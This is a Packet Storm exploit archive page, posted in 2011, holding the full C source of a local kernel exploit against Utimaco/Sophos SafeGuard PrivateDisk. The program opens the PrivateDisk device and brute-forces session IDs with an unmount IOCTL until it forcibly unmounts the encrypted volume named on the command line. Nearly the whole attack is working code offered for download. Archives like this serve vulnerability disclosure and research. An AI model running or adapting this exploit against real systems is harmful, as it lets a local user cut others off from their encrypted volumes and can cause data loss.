exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

SafeGuard PrivateDisk Local Kernel Device unmount Exploit

SafeGuard PrivateDisk Local Kernel Device unmount Exploit
Posted Jan 10, 2011
Authored by mu-b | Site digit-labs.org

Ultimaco Safeware AG (Sophos) - SafeGuard PrivateDisk local kernel device unmount exploit.

tags | exploit, kernel, local
SHA-256 | 5c9454bb523d0ecda8cb5589d0fce3117a6fd6b4592ccdd0d7fecd3a7736a21b

SafeGuard PrivateDisk Local Kernel Device unmount Exploit

Change Mirror Download
/* safeguard-pdisk-unmount.c
*
* Copyright (c) 2008 by <mu-b@digit-labs.org>
*
* Utimaco Safeware AG (Sophos) - SafeGuard PrivateDisk unmount exploit
* by mu-b - Wed 05 Mar 2008
*
* - Tested on: privatediskm.sys 2.2.0.16
* (<= Utimaco Safeware AG (Sophos) - SafeGuard PrivateDisk 2.0)
* privatediskm.sys
* (<= Sophos - SafeGuard PrivateDisk 2.3)
*
* This exploit 'tunnels' an ioctl request to the mounted volume device
* for the volume file given in the argument, the request will forcibly
* unmount the device.
*
* - Private Source Code -DO NOT DISTRIBUTE -
* http://www.digit-labs.org/ -- Digit-Labs 2008!@$!
*/

#include <stdio.h>
#include <stdlib.h>

#include <windows.h>
#include <ddk/ntapi.h>

#define SGPD_UNMOUNT_IOCTL 0x0007200C
#define SGPD_MAX_SESSION_ID 0xFFFFF

struct ioctl_req {
int session_id;
char volume_buf[0x200];
};

int
main (int argc, char **argv)
{
struct ioctl_req req;
DWORD i, j, rlen;
CHAR buf[0x100];
HANDLE hFile;
BOOL result;

printf ("Utimaco Safeware AG - SafeGuard PrivateDisk unmount exploit\n"
"by: <mu-b@digit-labs.org>\n"
"http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n");

if (argc <= 1)
{
fprintf (stderr, "Usage: %s <volume file>\n", argv[0]);
exit (EXIT_SUCCESS);
}

hFile = CreateFileA ("\\\\.\\PrivateDisk", GENERIC_READ,
FILE_SHARE_READ|FILE_SHARE_WRITE, NULL,
OPEN_EXISTING, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
fprintf (stderr, "* CreateFileA failed, %d\n", hFile);
exit (EXIT_FAILURE);
}

memset (buf, 0, sizeof buf);
strncpy (buf, argv[1], sizeof buf - 1);

for (i = 0, j = 0; i < sizeof req.volume_buf - 4; i += 2, j++)
{
req.volume_buf[i] = buf[j];
req.volume_buf[i+1] = 0x00;
}

for (i = 0; i < SGPD_MAX_SESSION_ID; i++)
{
req.session_id = i;

result = DeviceIoControl (hFile, SGPD_UNMOUNT_IOCTL,
&req, sizeof req,
&req, sizeof req, &rlen, 0);
if (result)
{
printf ("* found, session_id: %d, volume name: %s", i, buf);
break;
}

if (!(i % 64))
{
printf ("* trying session_id: %d\r", i);
}
}
printf ("\n* done\n");

CloseHandle (hFile);

return (EXIT_SUCCESS);
}
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close